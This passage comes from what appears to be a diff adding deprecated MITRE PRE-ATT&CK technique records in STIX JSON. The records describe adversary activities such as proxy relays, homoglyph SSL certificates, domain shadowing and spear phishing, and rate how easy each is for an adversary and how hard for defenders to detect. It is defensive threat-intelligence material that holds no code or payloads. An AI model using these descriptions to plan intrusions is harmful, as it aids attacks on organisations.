"x_mitre_difficulty_for_adversary_explanation": "Commercially available or easy to set up and/or register using a disposable email account.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1082", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Procure required equipment and software", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335).\n\nAn adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1335", + "external_id": "T1335" + }, + { + "source_name": "NYTStuxnet", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1112", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Outside of highly specific or rare HW, nearly impossible to detect and track.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Proxy/protocol relays", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304).\n\nProxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1304", + "external_id": "T1304" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Proxies are readily available for the adversary with both free and cost-based options available.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1081", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Push-notification client-side exploit", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1373", + "url": "https://attack.mitre.org/techniques/T1373" + }, + { + "description": "Joshua Drake. (2015, August 5). Stagefright: Scary Code in the Heart of Android. Retrieved March 29, 2017.", + "source_name": "BlackHat Stagefright" + }, + { + "description": "Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.", + "source_name": "WikiStagefright" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:22:23.446Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1150", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Receive KITs/KIQs and determine requirements", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239).\n\nApplicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1239", + "external_id": "T1239" + }, + { + "source_name": "AnalystsAndPolicymaking", + "description": "Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1016", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Receive operator KITs/KIQs tasking", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235).\n\nAnalysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1235", + "external_id": "T1235" + }, + { + "source_name": "FBIIntelligencePrimer", + "description": "FBI. (n.d.). Intelligence Branch: Intelligence Primer. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. 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The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351).\n\nA remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1351", + "external_id": "T1351" + }, + { + "source_name": "ActiveMalwareEnergy", + "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. 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The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1378", + "url": "https://attack.mitre.org/techniques/T1378" + }, + { + "description": "Daavid and Antti. (2014, June 23). Havex Hunts For ICS/SCADA Systems. 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The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291).\n\nCommon Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1291", + "external_id": "T1291" + }, + { + "source_name": "WeaponsVulnerable", + "description": "Jack Smith IV. (2015, January 22). Pentagon Chief Weapons Tester: Almost All Military Programs Vulnerable to Cyber-Attacks. Retrieved March 5, 2017." + }, + { + "source_name": "KasperskyCarbanak", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.", + "url": "https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1068", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Research visibility gap of security vendors", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290).\n\nIf an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1290", + "external_id": "T1290" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1067", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Review logs and residual traces", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358).\n\nExecution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1358", + "external_id": "T1358" + }, + { + "source_name": "EDB-39007", + "description": "Tavis Ormandy and Natalie Silvanovich. (2015, December 16). FireEye - Wormable Remote Code Execution in MIP JAR Analysis. Retrieved March 9, 2017." + }, + { + "source_name": "infosec-covering-tracks", + "description": "Infosec Institute. (2015, September 9). Covering Tracks of Attacks. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1135", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Runtime code download and execution", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1395", + "url": "https://attack.mitre.org/techniques/T1395" + }, + { + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.", + "source_name": "Fruit vs Zombies" + }, + { + "description": "Jon Oberheide. (2010). Android Hax. Retrieved April 12, 2017.", + "source_name": "Android Hax" + }, + { + "description": "Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved April 12, 2017.", + "source_name": "Execute This!" + }, + { + "description": "Wish Wu. (2016, July 15). Fake News App in Hacking Team Dump Designed to Bypass Google Play. Retrieved April 12, 2017.", + "source_name": "HT Fake News App" + }, + { + "description": "Radhesh Krishnan Konoth, Victor van der Veen and Herbert Bos. (2016). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved April 12, 2017.", + "source_name": "Anywhere Computing kill 2FA" + }, + { + "description": "Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.", + "source_name": "Android Security Review 2015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:24:50.384Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1172", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "SSL certificate acquisition for domain", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337).\n\nCertificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1337", + "external_id": "T1337" + }, + { + "source_name": "SubvertSSL", + "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017." + }, + { + "source_name": "PaypalScam", + "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", + "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1114", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "SSL certificates are readily available at little to no cost.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).", + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "SSL certificate acquisition for trust breaking", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338).\n\nFake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1338", + "external_id": "T1338" + }, + { + "source_name": "SubvertSSL", + "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "One example of it occurring in the real world is the DigiNotarDigiNotar2016 case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1115", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Secure and protect infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317).\n\nAn adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1317", + "external_id": "T1317" + }, + { + "source_name": "KrebsTerracottaVPN", + "description": "Brian Krebs. (2014, August 4). Chinese VPN Service as Attack Platform?. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Indistinguishable from standard security practices employed by legitimate operators.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1094", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Shadow DNS", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340).\n\nThe process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1340", + "external_id": "T1340" + }, + { + "source_name": "CiscoAngler", + "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.", + "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing" + }, + { + "source_name": "ProofpointDomainShadowing", + "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1117", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Spear phishing messages with malicious attachments", + "description": "**This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).**\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1367", + "url": "https://attack.mitre.org/techniques/T1367" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:25:35.837Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1144", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1369", + "url": "https://attack.mitre.org/techniques/T1369" + }, + { + "description": "Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.", + "source_name": "GoogleDrive Phishing" + }, + { + "description": "Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.", + "source_name": "RSASEThreat" + } + ], + "description": "**This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).**\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)", + "name": "Spear phishing messages with malicious links", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:25:58.783Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses_explanation": "Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1146" + }, + { + "id": "attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Spear phishing messages with text only", + "description": "**This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.**\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1368", + "url": "https://attack.mitre.org/techniques/T1368" + }, + { + "description": "Sophos Labs. (2006, July 7). PayPal phone phish scam uses voice recording to steal money. Retrieved March 29, 2017.", + "source_name": "Paypal Phone Scam" + } 